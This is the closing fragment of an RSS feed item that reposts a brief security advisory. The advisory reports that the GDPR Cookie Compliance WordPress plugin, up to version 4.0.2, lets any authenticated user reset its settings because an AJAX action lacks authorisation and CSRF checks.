<td class="title">Description</td>
<td>
<pre class="description">The gdpr_cookie_compliance_reset_settings AJAX action registered for authenticated users lacks authorisation and CSRF checks, allowing unauthorised authenticated users to call it, which would result in the settings being reset.</pre>
</td>
<p>The post <a href="https://shawndewolfe.com/gdpr-cookie-compliance.html">GDPR Cookie Compliance &lt;= 4.0.2 &#8211; Authenticated Settings Reset</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
